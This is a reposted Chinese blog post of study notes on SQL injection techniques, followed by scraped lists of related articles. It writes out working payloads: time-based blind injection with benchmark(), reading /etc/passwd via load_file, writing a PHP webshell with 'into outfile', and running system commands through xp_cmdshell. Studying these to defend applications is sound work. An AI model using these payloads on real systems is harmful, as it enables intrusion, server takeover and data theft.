转载自:http://blog.51cto.com/quiterr/1699964

sql注入

sql注入98年第一次出现在《phrack》54期上。

注入攻击有两个关键条件,第一是用户能够控制输入,第二是原本程序要执行的代码拼接了用户输入的数据。

如果网站开启了错误回显,将为攻击者提供极大的便利。

7.1.1 盲注

“盲注”是在服务器没有错误回显时完成的攻击。

最常见的盲注方法是构造简单的条件语句,根据返回页面是否发生变化,来判断sql语句是否得到执行。

例如对比“id=2”、“id=2 and 1=2”及“id=2 and 1=1”的执行结果

7.1.2 timing attack

2011年由TimKode在Full Disclosure上公布。

MySQL中的benchmark函数用于测试函数性能:

benchmark(count,expr)
 

将expr执行count次。利用benchmark函数可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。这是一种边信道攻击。

例如:

1170 union select if(substring(current,1,1)=
char(119),benchmark(5000000,encode('msg','by 5 seconds')),null) from (
select database() as current) as tbl;
 

这段payload判断库名的第一个字母是否为char(119),即小写到w。如果判断为真,则会执行benchmark函数,造成较长延时;如果不为真,则该语句将很快执行完。攻击者遍历所有字母,直到将整个数据库全部验证完为止。其他有用函数:database(),system_user(),current_user(),last_insert_id()

如果当前数据库用户具有写权限,那么攻击者还可以将信息写入本地磁盘中,比如写入web目录中,攻击者就有可能下载这些文件:

1170 union all select table_name, table_type, engion from
information_schema.tables where table_schema = 'mysql' order by
table_name desc into outfile '/path/loc/on/server/www/schema.txt'
 

通过dump文件的方法,可以写入一个webshell

1170 union select "<? system($_request['cmd']);?>",2,3,4 into outfile
"/var/www/html/temp/c.php"--
 

timing attack是盲注多一种高级技巧,在不同的数据库中都有着类似benchmark的函数:

postgresql-pg_sleep(5) or generate_series(1,10000000)

ms sql server -waitfor delay '0:0:5'

7.2  数据库攻击技巧

找到sql注入漏洞,仅仅是一个开始。不同的数据库有着不同的sql注入技巧。

7.2.1 常见攻击技巧

猜mysql版本是否为4

id=5 and substring(@@version,1,1)=4
 

猜表admin是否存在

id=5 union select 1,2,3 from admin
 

猜列名passwd是否存在

id=5 union select 1,2,passwd from admin
 

进一步,可以通过判断字符的范围猜username、passwd具体的值(代码较长)。

攻击过程非常繁琐,可以使用sqlmap来帮助完成整个过程。

读写文件的技巧(以mysql为例):

union selcet 1,1,load_file('/etc/passwd'),1,1;
 

如果要将文件读出后再返回结果给攻击者,则需要有创建表的权限,首先通过load_file()将文件读出;再通过into dumpfile将文件写入系统,然后通过load data infile将文件导入创建的表中,最后通过一般的注入技巧直接操作表数据。

7.2.2 命令执行

除了通过webshell间接执行命令,还可以利用用户自定义函数来执行命令。mysql 5 中是利用lib_mysqludf_sys;在ms sql server中是利用xp_cmdshell;oracle中是利用java环境。幸运的是sqlmap已集成了这部分功能。

7.2.3 攻击存储过程

在ms sql server中,存储过程“xp_cmdshell”可谓臭名昭著,黑客可以利用它执行系统命令。

exec master.dbo.xp_cmdshell 'cmd.exe dir c:'
exec master.dbo.xp_cmdshell 'ping '
 

虽然在sql server 2005之后默认禁止了,但是如果当前数据库用户拥有sysadmin权限,则可以使用sp_configure重新开启它。除此以外,xp_regread等可以操作注册表。xp_servicecontrol等可以操作服务。

除了利用存储过程直接攻击外,存储过程本身也可能存在注入漏洞。

7.2.4 编码问题

书中举了一个利用宽字符集(每个字符占2个字节)“吃掉”转义符号“\”的例子,可绕过对特殊字符的过滤。

7.2.5 sql column truncation

这是利用mysql的sql_mode选项,默认情况下,mysql对于用户输入的超长值只会提示warning而不是error。例如数据中原来有账号“admin”,这时插入新账号“admin(55个空格)x”,通过新账号即可进行原账号才能做的操作。sql

Sql 注入----学习笔记2的更多相关文章

  1. sql注入学习笔记,什么是sql注入,如何预防sql注入,如何寻找sql注入漏洞,如何注入sql攻击 (原)

    (整篇文章废话很多,但其实是为了新手能更好的了解这个sql注入是什么,需要学习的是文章最后关于如何预防sql注入) (整篇文章废话很多,但其实是为了新手能更好的了解这个sql注入是什么,需要学习的是文 ...

  2. sql注入学习笔记 详解篇

    sql注入的原理以及怎么预防sql注入(请参考上一篇文章) https://www.cnblogs.com/KHZ521/p/12128364.html (本章主要针对MySQL数据库进行注入) sq ...

  3. Java SQL注入学习笔记

    1 简介 文章主要内容包括: Java 持久层技术/框架简单介绍 不同场景/框架下易导致 SQL 注入的写法 如何避免和修复 SQL 注入 2 JDBC 介绍 JDBC: 全称 Java Databa ...

  4. sql注入学习笔记

    1.什么是SQL注入 SQL注入就是指web应用程序对用户输入的数据的合法性没有判断,前端传入后端的参数带有数据库查询的语句,攻击者可以构造不同的SQL语句来实现对数据库的操作. 2.SQL注入原理 ...

  5. Sql 注入----学习笔记

    先了解下CRLF,CRLF常用在分隔符之间,CR是carriage retum(ASCII 13,\r) LF是Line Feed (ASCII 10,\n), \r\n这两个字符类似于回车是用于换行 ...

  6. 【SQL Server学习笔记】Delete 语句、Output 子句、Merge语句

    原文:[SQL Server学习笔记]Delete 语句.Output 子句.Merge语句 DELETE语句 --建表 select * into distribution from sys.obj ...

  7. SQL注入学习资料总结

    转载自:https://bbs.ichunqiu.com/thread-12105-1-1.html  什么是SQL注入 SQL注入基本介绍 结构化查询语言(Structured Query Lang ...

  8. SQL server2005学习笔记(一)数据库的基本知识、基本操作(分离、脱机、收缩、备份、还原、附加)和基本语法

    在软件测试中,数据库是必备知识,假期闲里偷忙,整理了一点学习笔记,共同探讨. 阅读目录 基本知识 数据库发展史 数据库名词 SQL组成 基本操作 登录数据库操作 数据库远程连接操作 数据库分离操作 数 ...

  9. SQL学习之SQL注入学习总结

    所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 测试数据库 我们本文就以如下数据库作为测试数据库,完成我们的注入分析 ...

随机推荐

  1. K近邻算法(一)

    K 近邻算法思想: 寻找该点周围最近的K个点.根据这K 个点的类别来判断该点的类别: 核心: 数据归一化.(在必要的时候必须进行数据归一化处理,防止某一特征在计算数据时占比较重) 计算欧拉距离 . 使 ...

  2. Apache Hudi + AWS S3 + Athena实战

    Apache Hudi在阿里巴巴集团.EMIS Health,LinkNovate,Tathastu.AI,腾讯,Uber内使用,并且由Amazon AWS EMR和Google云平台支持,最近Ama ...

  3. 微信公众号添加zip文件下载

    微信公众号添加zip文件下载的教程 我们都知道创建一个微信公众号,在公众号中发布一些文章是非常简单的,但公众号添加附件下载的功能却被限制,如今可以使用小程序“微附件”进行在公众号中添加附件.如:zip ...

  4. 【lhyaaa】最近公共祖先LCA——倍增!!!

    高级的算法——倍增!!! 根据LCA的定义,我们可以知道假如有两个节点x和y,则LCA(x,y)是 x 到根的路 径与 y 到根的路径的交汇点,同时也是 x 和 y 之间所有路径中深度最小的节 点,所 ...

  5. 强开企业付款到零钱与现金红包,无需等待90/30天,2-12H即可强开通!

    一.微信官方给出的,企业付款到零钱|现金红包开通的说明 针对入账方式为即时入账至商户号,结算周期为T+1的商户,需满足三个条件:1)入驻满90天,2)连续正常交易30天,3)保持正常健康交易.其余结算 ...

  6. Vulnhub靶场-Me and my girlfriend 学习笔记

    靶机下载地址:https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/ Description: This VM tells us that ...

  7. Grazing on the Run 题解

    [题目大意] 大致题意就是,你的初始坐标为\(x\),你要去数轴上的\(n\)个点,问你到达所有点的时间总和最小是多少. 直接贪心肯定不行,所以考虑\(DP\) 先把坐标离散(也就是预处理两点距离\( ...

  8. 【模式识别与机器学习】——4.3离散K-L变换

    全称:Karhunen-Loeve变换(卡洛南-洛伊变换) 前面讨论的特征选择是在一定准则下,从n个特征中选出k个来反映原有模式. 这种简单删掉某n-k个特征的做法并不十分理想,因为一般来说,原来的n ...

  9. 极简 Node.js 入门 - 2.1 Path

    极简 Node.js 入门系列教程:https://www.yuque.com/sunluyong/node 本文更佳阅读体验:https://www.yuque.com/sunluyong/node ...

  10. .net 跨平台桌面程序 avalonia:从项目创建到打包部署linux-64系统deepin 或 ubuntu。

    介绍: 目前微软还没有跨平台桌面程序的开发框架.github上有一个团队开始自行研发跨平台桌面框架,其中一款叫avalonia.avalonia 采用 Xaml+C#,类似于wpf,可运行于.netf ...